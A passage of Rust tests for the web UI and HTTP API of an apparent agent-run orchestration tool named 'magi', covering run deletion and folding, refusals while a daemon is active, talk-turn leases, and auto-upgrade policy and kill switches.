22893            .find("function renderStats() {")
22894            .expect("renderStats");
22895        let end = start
22896            + APP_JS[start..]
22897                .find("function statsTile(")
22898                .expect("the next top-level function");
22899        let body = &APP_JS[start..end];
22900
22901        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22902        let gate_end = gate_start
22903            + body[gate_start..]
22904                .find("}\n  renderStatsQueue")
22905                .expect("the gate's own closing brace, right before the unconditional call");
22906        let gated = &body[gate_start..gate_end];
22907
22908        assert_eq!(
22909            body.matches("renderStatsQueue(").count(),
22910            1,
22911            "renderStats must call renderStatsQueue exactly once: {body}"
22912        );
22913        assert!(
22914            !gated.contains("renderStatsQueue"),
22915            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22916             run-derived panels on an empty run history - the queue panel has to render \
22917             regardless: {gated}"
22918        );
22919    }
22920
22921    #[test]
22922    fn web_ui_delete_contract_in_front_end() {
22923        // 1. API block has both delete endpoints
22924        assert!(APP_JS.contains("deleteRun:"));
22925        assert!(APP_JS.contains("deleteTask:"));
22926
22927        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22928        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22929            ..APP_JS.find("function renderRuns").unwrap()];
22930        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22931
22932        // 3. Run detail has delete entry and reasons
22933        assert!(APP_JS.contains("renderRunDelete"));
22934        assert!(APP_JS.contains("runDeleteReason"));
22935        assert!(APP_JS.contains("magi fold"));
22936        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22937
22938        // 4. Two-step delete arming and focus on Cancel
22939        assert!(APP_JS.contains("cancel.focus"));
22940        assert!(APP_JS.contains("armedRunDelete"));
22941        assert!(APP_JS.contains("renderTaskDeleteBox"));
22942        assert!(APP_JS.contains("armed${cap(key)}"));
22943
22944        // 5. Running task has disabled delete
22945        assert!(APP_JS.contains("disabled: status === \"running\""));
22946    }
22947
22948    /// Every element a run card's updater reaches for must be in the `refs`
22949    /// the builder handed it.
22950    ///
22951    /// `createRunCard` builds its elements, appends them to the card, and then
22952    /// lists them again in `row.refs`. That second list is the one the updater
22953    /// uses, and nothing connects the two - an element can be built, appended
22954    /// and rendered, and still be missing from `refs`. `superseded` was, for
22955    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
22956    /// exception took `syncList` with it, and the deck showed
22957    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22958    /// line is computed before the cards, which is why the failure looked like
22959    /// a server that had lost its runs rather than a front end that had
22960    /// stopped rendering them.
22961    ///
22962    /// A `cargo test` cannot execute the front end, so this reads the two
22963    /// halves out of the source and compares them as sets. It is not a check
22964    /// on the wording of either list: adding an element, renaming one, or
22965    /// reordering them all keeps this passing, and only using one the builder
22966    /// never published fails it.
22967    #[test]
22968    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22969        let build = APP_JS
22970            .find("function createRunCard")
22971            .expect("createRunCard exists");
22972        let update = APP_JS
22973            .find("function updateRunCard")
22974            .expect("updateRunCard exists");
22975        let end = APP_JS
22976            .find("function renderRuns")
22977            .expect("renderRuns exists");
22978
22979        // The builder's published set: the object literal assigned to `refs`.
22980        let builder = &APP_JS[build..update];
22981        let open = builder.find("refs = {").expect("createRunCard sets refs");
22982        let literal = &builder[open + "refs = {".len()..];
22983        let close = literal.find('}').expect("the refs literal is closed");
22984        let published: HashSet<&str> = literal[..close]
22985            .split(',')
22986            // `name` and `name: value` both bind `name`.
22987            .filter_map(|entry| entry.split(':').next())
22988            .map(str::trim)
22989            .filter(|name| !name.is_empty())
22990            .collect();
22991        assert!(
22992            published.len() > 5,
22993            "the refs literal did not parse into names: {published:?}"
22994        );
22995
22996        // What the updaters reach for: every `r.<name>`, where `r` is the
22997        // `const r = row.refs` alias both functions open with.
22998        let mut used: Vec<&str> = Vec::new();
22999        let updaters = &APP_JS[update..end];
23000        for (at, _) in updaters.match_indices("r.") {
23001            // `r` must be the whole identifier, not the tail of another one
23002            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
23003            let before = updaters[..at].chars().next_back();
23004            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23005                continue;
23006            }
23007            let rest = &updaters[at + 2..];
23008            let len = rest
23009                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23010                .unwrap_or(rest.len());
23011            if len > 0 {
23012                used.push(&rest[..len]);
23013            }
23014        }
23015        assert!(
23016            used.len() > 5,
23017            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23018        );
23019
23020        let missing: Vec<&str> = used
23021            .iter()
23022            .copied()
23023            .filter(|name| !published.contains(name))
23024            .collect();
23025        assert!(
23026            missing.is_empty(),
23027            "a run card's updater reaches for {missing:?}, which `createRunCard` \
23028             never put in `refs` - every card will throw and the list will \
23029             render empty under a count line that says otherwise. Published: \
23030             {published:?}"
23031        );
23032    }
23033
23034    #[tokio::test]
23035    async fn folding_from_the_phone_reports_what_it_removed() {
23036        let fx = Fixture::start().await;
23037        let runs = fx.runs();
23038
23039        // A run with no candidates has nothing to fold, which is a 200 with an
23040        // honest count rather than an error: the operator asked for the trees
23041        // to be gone and they are.
23042        let id = "20260901-000000-fold";
23043        write_run(&runs, id, RunStatus::Stalled);
23044        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23045        assert_eq!(res.status, 200);
23046        assert_eq!(res.json()["removed_count"], 0);
23047        assert_eq!(res.json()["run"], id);
23048        assert!(
23049            runs.join(id).exists(),
23050            "a fold keeps the run's record; only the worktrees go"
23051        );
23052    }
23053
23054    #[tokio::test]
23055    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23056        let fx = Fixture::start().await;
23057        let runs = fx.runs();
23058        let wt = fx.home.path().join("wt").join("magi").join("dead");
23059        let id = "20260901-000000-dead";
23060        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23061        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23062        std::fs::create_dir_all(&wt).expect("worktree dir");
23063
23064        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23065        assert_eq!(res.status, 200, "{}", res.body);
23066        assert!(
23067            res.json()["removed_count"].as_u64().unwrap() > 0,
23068            "the worktree this build could not read a state for still went"
23069        );
23070        assert!(
23071            !runs.join(id).exists(),
23072            "an unreadable run has no candidate list to fold selectively, so \
23073             the whole record goes - same as `magi fold` on the CLI"
23074        );
23075    }
23076
23077    #[tokio::test]
23078    async fn deleting_an_unreadable_run_removes_it_wholesale() {
23079        let fx = Fixture::start().await;
23080        let runs = fx.runs();
23081        let wt = fx.home.path().join("wt").join("magi").join("gone");
23082        let id = "20260901-000000-gone";
23083        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23084        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23085        std::fs::create_dir_all(&wt).expect("worktree dir");
23086
23087        let res = fx.delete(&format!("/api/runs/{id}")).await;
23088        assert_eq!(res.status, 204, "{}", res.body);
23089        assert!(!runs.join(id).exists(), "the broken record is gone");
23090        assert!(!wt.exists(), "its worktree is gone too");
23091    }
23092
23093    #[tokio::test]
23094    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23095        let fx = Fixture::start().await;
23096        let runs = fx.runs();
23097        let id = "20260901-000000-live";
23098        write_run(&runs, id, RunStatus::Implementing);
23099
23100        let mut beat = crate::daemon::Status::new();
23101        beat.current = vec![crate::daemon::Current {
23102            worker: None,
23103            task: "20260901-000000-task".to_owned(),
23104            run: id.to_owned(),
23105        }];
23106        beat.updated_at = jiff::Timestamp::now();
23107        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23108            .expect("publish a heartbeat");
23109
23110        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23111        assert_eq!(res.status, 409);
23112        assert!(
23113            res.json()["error"]
23114                .as_str()
23115                .unwrap()
23116                .contains("live daemon"),
23117            "folding under a running agent would pull its worktree away"
23118        );
23119    }
23120
23121    #[tokio::test]
23122    async fn fold_merged_requires_a_pr_url() {
23123        let fx = Fixture::start().await;
23124        let runs = fx.runs();
23125        let id = "20260901-000000-nourl";
23126        write_run(&runs, id, RunStatus::Blocked);
23127
23128        let res = fx
23129            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23130            .await;
23131        assert_eq!(res.status, 400, "{}", res.body);
23132
23133        let blank = fx
23134            .post(
23135                &format!("/api/runs/{id}/fold-merged"),
23136                Some(r#"{"pr_url":"   "}"#),
23137            )
23138            .await;
23139        assert_eq!(blank.status, 400, "{}", blank.body);
23140    }
23141
23142    #[tokio::test]
23143    async fn fold_merged_is_404_for_an_unknown_run() {
23144        let fx = Fixture::start().await;
23145        let res = fx
23146            .post(
23147                "/api/runs/nosuchrun/fold-merged",
23148                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23149            )
23150            .await;
23151        assert_eq!(res.status, 404, "{}", res.body);
23152    }
23153
23154    #[tokio::test]
23155    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23156        let fx = Fixture::start().await;
23157        let runs = fx.runs();
23158        let id = "20260901-000000-livemerge";
23159        write_run(&runs, id, RunStatus::Blocked);
23160
23161        let mut beat = crate::daemon::Status::new();
23162        beat.current = vec![crate::daemon::Current {
23163            worker: None,
23164            task: "20260901-000000-task".to_owned(),
23165            run: id.to_owned(),
23166        }];
23167        beat.updated_at = jiff::Timestamp::now();
23168        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23169            .expect("publish a heartbeat");
23170
23171        let res = fx
23172            .post(
23173                &format!("/api/runs/{id}/fold-merged"),
23174                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23175            )
23176            .await;
23177        assert_eq!(res.status, 409, "{}", res.body);
23178        assert!(
23179            res.json()["error"]
23180                .as_str()
23181                .unwrap()
23182                .contains("live daemon"),
23183            "correcting a run's merge underneath a running agent would race \
23184             whatever it is doing to the same `status`/`merge` fields"
23185        );
23186    }
23187
23188    /// A pull request `gh` cannot even ask about (no such remote, no such
23189    /// repository) must never be recorded as a merge on a guess - the same
23190    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
23191    /// command line, reached here through the phone route instead.
23192    #[tokio::test]
23193    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23194        let fx = Fixture::start().await;
23195        let runs = fx.runs();
23196        let id = "20260901-000000-unconfirmed";
23197        write_run(&runs, id, RunStatus::Blocked);
23198
23199        let res = fx
23200            .post(
23201                &format!("/api/runs/{id}/fold-merged"),
23202                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23203            )
23204            .await;
23205        assert_eq!(res.status, 400, "{}", res.body);
23206        assert_eq!(
23207            read_run(&runs, id).unwrap().status,
23208            RunStatus::Blocked,
23209            "a pull request that could not be confirmed merged must leave \
23210             the run exactly where it was"
23211        );
23212    }
23213
23214    #[tokio::test]
23215    async fn terminal_runs_cannot_be_resumed() {
23216        let fx = Fixture::start().await;
23217        let runs = fx.runs();
23218
23219        for (status, word) in [
23220            (RunStatus::Merged, "merged"),
23221            (RunStatus::Ready, "ready"),
23222            (RunStatus::Failed, "failed"),
23223        ] {
23224            let id = format!("20260901-000000-{}", &word[..4]);
23225            write_run(&runs, &id, status);
23226            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23227            assert_eq!(res.status, 409, "{word} must not be resumable");
23228        }
23229    }
23230
23231    #[tokio::test]
23232    async fn resume_is_refused_while_the_loop_is_running() {
23233        let fx = Fixture::start().await;
23234        let runs = fx.runs();
23235        let stalled = "20260901-000000-stal";
23236        write_run(&runs, stalled, RunStatus::Stalled);
23237
23238        // The loop is busy with a *different* run, and that is still a
23239        // refusal: a manual resume must never race whatever the loop itself
23240        // is already driving, whether that is one run or several.
23241        let mut beat = crate::daemon::Status::new();
23242        beat.current = vec![crate::daemon::Current {
23243            worker: None,
23244            task: "20260901-000000-task".to_owned(),
23245            run: "20260901-000000-othr".to_owned(),
23246        }];
23247        beat.updated_at = jiff::Timestamp::now();
23248        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23249            .expect("publish a heartbeat");
23250
23251        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23252        assert_eq!(res.status, 409);
23253        let err = res.json()["error"].as_str().unwrap().to_owned();
23254        assert!(err.contains("othr"), "it names what the loop is on: {err}");
23255        assert!(err.contains("stop it first"), "{err}");
23256    }
23257
23258    #[test]
23259    fn a_run_cannot_be_resumed_twice_at_once() {
23260        let home = TempDir::new().expect("temp home");
23261        let ui = Ui::new(
23262            Queue::at(home.path().join("queue")),
23263            Questions::at(home.path().join("questions")),
23264            Talks::at(home.path().join("talks")),
23265            home.path().join("runs"),
23266            home.path().to_path_buf(),
23267            PathBuf::from("/repo"),
23268        )
23269        .with_worktrees_root(home.path().join("wt"));
23270        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23271        let again = ui.begin_resume("20260901-000000-once");
23272        assert!(again.is_err(), "a second tap must not start a second graph");
23273        drop(first);
23274        assert!(
23275            ui.begin_resume("20260901-000000-once").is_ok(),
23276            "and the claim is released when the attempt ends"
23277        );
23278    }
23279
23280    #[test]
23281    fn talk_thinking_tracks_only_its_held_turn_claim() {
23282        let home = TempDir::new().expect("temp home");
23283        let ui = Ui::new(
23284            Queue::at(home.path().join("queue")),
23285            Questions::at(home.path().join("questions")),
23286            Talks::at(home.path().join("talks")),
23287            home.path().join("runs"),
23288            home.path().to_path_buf(),
23289            PathBuf::from("/repo"),
23290        )
23291        .with_worktrees_root(home.path().join("wt"));
23292        let id = "20260901-000000-once";
23293
23294        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23295        let turn = ui.begin_talk_turn(id).expect("claim turn");
23296        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23297        assert!(
23298            !ui.is_thinking("20260901-000000-other"),
23299            "one talk's turn does not make another talk busy"
23300        );
23301        drop(turn);
23302        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23303    }
23304
23305    #[test]
23306    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23307        let home = TempDir::new().expect("temp home");
23308        let talks = Talks::at(home.path().join("talks"));
23309        let ui = Ui::new(
23310            Queue::at(home.path().join("queue")),
23311            Questions::at(home.path().join("questions")),
23312            talks.clone(),
23313            home.path().join("runs"),
23314            home.path().to_path_buf(),
23315            PathBuf::from("/repo"),
23316        )
23317        .with_worktrees_root(home.path().join("wt"));
23318        let id = "20260901-000000-cross";
23319
23320        let other = Talks::at(home.path().join("talks"))
23321            .claim_turn(id)
23322            .expect("claim")
23323            .expect("the other process wins");
23324        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23325        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23326        assert!(
23327            matches!(
23328                ui.begin_talk_turn_unless_pending(id).expect("start"),
23329                TalkTurnStart::Foreign
23330            ),
23331            "a foreign holder is refused, not queued behind"
23332        );
23333        assert!(
23334            !ui.talk_turns.lock().unwrap().live.contains(id),
23335            "a refused claim leaves no in-process entry behind"
23336        );
23337        drop(other);
23338        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23339        assert!(talks.turn_held(id), "the web turn holds the lease");
23340        drop(turn);
23341        assert!(
23342            !talks.turn_held(id),
23343            "dropping the guard releases the lease"
23344        );
23345    }
23346
23347    fn consult_question(ui: &Ui) -> Question {
23348        let mut q = Question::new(
23349            "20260901-000000-consult".to_owned(),
23350            "implement".to_owned(),
23351            "impl-A".to_owned(),
23352            "Which backend?".to_owned(),
23353            String::new(),
23354            vec!["SQLite".to_owned(), "Redis".to_owned()],
23355        );
23356        ui.questions.put(&mut q).expect("question");
23357        q
23358    }
23359
23360    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23361        (
23362            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23363            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23364        )
23365    }
23366
23367    #[tokio::test]
23368    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23369        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23370        let q = consult_question(&ui);
23371        let talk = ui.talks.get(&id).expect("talk");
23372        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23373        let before = consult_snapshot(&ui, &q, &id);
23374        let cli_talks = Talks::at(ui.home.join("talks"));
23375        assert_eq!(
23376            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23377                .await
23378                .expect("CLI starter"),
23379            crate::consult::Started::Busy
23380        );
23381        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23382        assert!(ui.is_thinking(&id));
23383        drop(guard);
23384        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23385    }
23386
23387    #[tokio::test]
23388    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23389        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23390        let q = consult_question(&ui);
23391        let talk = ui.talks.get(&id).expect("talk");
23392        let started = tmp.path().join("started");
23393        let release = tmp.path().join("release");
23394        let script = tmp.path().join("consult-agent.sh");
23395        std::fs::write(
23396            &script,
23397            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23398        )
23399        .expect("script");
23400        let mut cfg = stub_config();
23401        cfg.agents[0].id = "mock".to_owned();
23402        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23403        cfg.agents[0].env = std::collections::BTreeMap::from([
23404            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23405            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23406        ]);
23407        let questions = ui.questions.clone();
23408        let cli_talks = Talks::at(ui.home.join("talks"));
23409        let cli_q = q.clone();
23410        let turn = tokio::spawn(async move {
23411            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23412        });
23413        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23414            while !started.exists() {
23415                tokio::time::sleep(Duration::from_millis(10)).await;
23416            }
23417        })
23418        .await;
23419        // Always release and join the agent, even if readiness or the web
23420        // request fails, so a failed assertion cannot leave a turn behind.
23421        let refusal = if ready.is_ok() {
23422            let before = consult_snapshot(&ui, &q, &id);
23423            let result = talk_say(
23424                State(Arc::clone(&ui)),
23425                Path(id.clone()),
23426                Ok(Json(NewTalkTurn {
23427                    reply_to: None,
23428                    text: "another message".to_owned(),
23429                    attachments: Vec::new(),
23430                })),
23431            )
23432            .await;
23433            Some((result, before, consult_snapshot(&ui, &q, &id)))
23434        } else {
23435            None
23436        };
23437        std::fs::write(&release, "").expect("release agent");
23438        let done = turn.await.expect("join CLI turn");
23439        ready.expect("agent started before deadline");
23440        let (result, before, after) = refusal.expect("web request");
23441        let error = result.expect_err("web must refuse the CLI's turn");
23442        assert_eq!(error.status, StatusCode::CONFLICT);
23443        assert!(error.message.contains("a turn is already running"));
23444        assert_eq!(
23445            after, before,
23446            "refusal preserves question, draft and history"
23447        );
23448        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23449        let guard = ui
23450            .begin_talk_turn(&id)
23451            .expect("web claim")
23452            .expect("free again");
23453        drop(guard);
23454    }
23455
23456    #[test]
23457    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23458        let home = TempDir::new().expect("temp home");
23459        let talks = Talks::at(home.path().join("talks"));
23460        let ui = Ui::new(
23461            Queue::at(home.path().join("queue")),
23462            Questions::at(home.path().join("questions")),
23463            talks.clone(),
23464            home.path().join("runs"),
23465            home.path().to_path_buf(),
23466            PathBuf::from("/repo"),
23467        )
23468        .with_worktrees_root(home.path().join("wt"));
23469        let id = "20260901-000000-order";
23470        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23471        // Hold the slot mutex so the drop can finish the lease but not the slot.
23472        let slots = ui.talk_turns.lock().unwrap();
23473        let dropper = std::thread::spawn(move || drop(turn));
23474        let start = std::time::Instant::now();
23475        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23476            std::thread::sleep(Duration::from_millis(5));
23477        }
23478        assert!(!talks.turn_held(id), "the lease is released first");
23479        assert!(slots.live.contains(id), "the slot is still held meanwhile");
23480        drop(slots);
23481        dropper.join().expect("join");
23482        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23483    }
23484
23485    #[tokio::test]
23486    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23487        let fx = Fixture::start().await;
23488        let mut beat = crate::daemon::Status::new();
23489        beat.worker_protocol = None;
23490        beat.pid = 4321;
23491        beat.updated_at = jiff::Timestamp::now();
23492        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23493            .expect("publish a heartbeat");
23494
23495        let res = fx.post("/api/upgrade", None).await;
23496        assert_eq!(res.status, 409);
23497    }
23498
23499    /// [`should_spawn_recheck`] must refuse for the same two reasons
23500    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
23501    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
23502    /// Purely a predicate over config and the environment - no network, no
23503    /// disk, no runtime - so unlike the fixture-based tests around it this
23504    /// one needs neither.
23505    #[test]
23506    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23507        assert!(!should_spawn_recheck(&crate::config::Update {
23508            mode: UpdateMode::Off,
23509            interval: None,
23510            auto_restart: false,
23511        }));
23512
23513        // SAFETY: single-threaded as far as this variable goes, the same
23514        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23515        unsafe {
23516            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23517        }
23518        let killed = should_spawn_recheck(&crate::config::Update {
23519            mode: UpdateMode::Notify,
23520            interval: None,
23521            auto_restart: false,
23522        });
23523        unsafe {
23524            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23525        }
23526        assert!(
23527            !killed,
23528            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23529             one-time startup check"
23530        );
23531
23532        assert!(should_spawn_recheck(&crate::config::Update {
23533            mode: UpdateMode::Notify,
23534            interval: None,
23535            auto_restart: false,
23536        }));
23537    }
23538
23539    /// [`recheck_poll_period`] must track a configured `[update] interval`
23540    /// shorter than its own default ceiling - a fixed sleep here would leave
23541    /// an operator's short interval waiting on the next wake-up instead of on
23542    /// `should_check`, which is the same bug this whole task exists to fix,
23543    /// just one level down.
23544    #[test]
23545    fn recheck_poll_period_tracks_a_short_configured_interval() {
23546        let short = crate::config::Update {
23547            mode: UpdateMode::Notify,
23548            interval: Some("1m".to_owned()),
23549            auto_restart: false,
23550        };
23551        let period = recheck_poll_period(&short);
23552        assert!(
23553            period <= Duration::from_secs(30),
23554            "a one-minute interval must wake the task far sooner than the \
23555             default ceiling, or the deck would not notice within the \
23556             interval the operator configured: got {period:?}"
23557        );
23558
23559        let default = crate::config::Update {
23560            mode: UpdateMode::Notify,
23561            interval: None,
23562            auto_restart: false,
23563        };
23564        assert_eq!(
23565            recheck_poll_period(&default),
23566            UPDATE_RECHECK_POLL_MAX,
23567            "the default day-long interval should poll at the (capped) \
23568             ceiling rather than needlessly often"
23569        );
23570    }
23571
23572    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23573    /// same throttle `updater::Checker::should_check` already gives the
23574    /// CLI's notify mode. Built over an explicit state file via
23575    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23576    /// write the operator's real `last_update_check.json` - and therefore
23577    /// cannot flake on whatever that file happens to say on the machine
23578    /// running the test.
23579    #[test]
23580    fn recheck_skips_the_network_before_the_interval_elapses() {
23581        let dir = TempDir::new().expect("temp dir");
23582        let path = dir.path().join("state.json");
23583        let state = kaishin::UpdateCheckState {
23584            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23585            last_known_latest: None,
23586            last_known_url: None,
23587        };
23588        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23589
23590        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23591        assert!(
23592            !update_recheck_due(&checker, None),
23593            "a check made moments ago must not be repeated before the \
23594             configured interval elapses"
23595        );
23596    }
23597
23598    /// An upgrade this deck already started must not be raced by a recheck
23599    /// that discovers a newer release mid-install - regardless of what
23600    /// `should_check` says, which is why the state file here is missing
23601    /// entirely: read alone, that alone would answer "never checked, go
23602    /// ahead".
23603    #[test]
23604    fn recheck_defers_to_an_upgrade_already_in_flight() {
23605        let dir = TempDir::new().expect("temp dir");
23606        let path = dir.path().join("state.json");
23607        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23608        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23609
23610        assert!(
23611            !update_recheck_due(&checker, Some(&progress)),
23612            "a recheck must not run while an upgrade this deck started is \
23613             still moving"
23614        );
23615    }
23616
23617    #[tokio::test]
23618    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23619        // The same env var the background check honours (`disabled_by_env`)
23620        // must also stop a button press before it ever calls
23621        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23622        // means "never contact GitHub from this process", and a tap on the
23623        // upgrade button must not override that any more than a broken
23624        // `magi.toml` may. Left unset, this fixture's default config would
23625        // otherwise reach a real, unauthenticated GitHub call.
23626        //
23627        // SAFETY: single-threaded as far as this variable goes - nothing else
23628        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23629        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23630        unsafe {
23631            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23632        }
23633        let fx = Fixture::start().await;
23634        let res = fx.post("/api/upgrade", None).await;
23635        unsafe {
23636            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23637        }
23638        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23639        let body = res.json();
23640        assert!(body["to"].is_null(), "there was no release to move to");
23641        assert!(body["parked"].is_null(), "and nothing was parked");
23642        assert!(
23643            body["detail"]
23644                .as_str()
23645                .unwrap()
23646                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23647            "{body:?}"
23648        );
23649    }
23650
23651    #[test]
23652    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23653        use AutoUpgradeDecision::{Skip, Trigger, Wait};
23654        let mut cfg = Update::default();
23655        assert!(matches!(
23656            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23657            Skip(_)
23658        ));
23659        cfg.auto_restart = true;
23660        assert_eq!(
23661            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23662            Trigger
23663        );
23664        assert_eq!(
23665            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23666            Wait
23667        );
23668        for (disabled, moving, failed) in [
23669            (true, false, None),
23670            (false, true, None),
23671            (false, false, Some("v2")),
23672        ] {
23673            assert!(matches!(
23674                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23675                Skip(_)
23676            ));
23677        }
23678        assert_eq!(
23679            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23680            Trigger
23681        );
23682        cfg.mode = UpdateMode::Off;
23683        assert!(matches!(
23684            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23685            Skip(_)
23686        ));
23687    }
23688
23689    #[test]
23690    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23691        let home = TempDir::new().unwrap();
23692        let ui = idle_ui(&home);
23693        assert!(!ui.auto_upgrade_busy());
23694        let directory = home.path().join("workers/jobs/abcdef");
23695        std::fs::create_dir_all(&directory).unwrap();
23696        let mut job = crate::worker::Job {
23697            id: "abcdef".into(),
23698            sequence: 1,
23699            kind: "scheduler".into(),
23700            key: "scheduler".into(),
23701            payload: serde_json::json!({}),
23702            generation: "test".into(),
23703            version: None,
23704            status: crate::worker::Status::Running,
23705            result: None,
23706            pid: None,
23707            created_at: 0,
23708            finished_at: None,
23709        };
23710        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23711        let write = |job: &crate::worker::Job| {
23712            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23713        };
23714        write(&job);
23715        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23716        for kind in ["task", "chat"] {
23717            job.kind = kind.into();
23718            write(&job);
23719            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23720        }
23721        drop(lease);
23722        // Lease::drop explicitly unlocks even if a concurrent fork inherited
23723        // the descriptor. Check the real decision directly: a raw flock probe
23724        // here could itself be inherited and keep the worker looking busy.
23725        assert!(
23726            !ui.auto_upgrade_busy(),
23727            "completed execution permits updates"
23728        );
23729        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23730        assert!(
23731            ui.auto_upgrade_busy(),
23732            "unreadable worker state defers updates"
23733        );
23734    }
23735
23736    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23737        Box::pin(async { anyhow::bail!("test installer failed") })
23738    }
23739
23740    #[tokio::test]
23741    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23742        let home = TempDir::new().unwrap();
23743        std::fs::write(
23744            home.path().join("magi.toml"),
23745            "[update]\nauto_restart = true\n",
23746        )
23747        .unwrap();
23748        let mut ui = idle_ui(&home);
23749        ui.repo = home.path().to_path_buf();
23750        // Every successful trigger in this test uses this seam, never the installer.
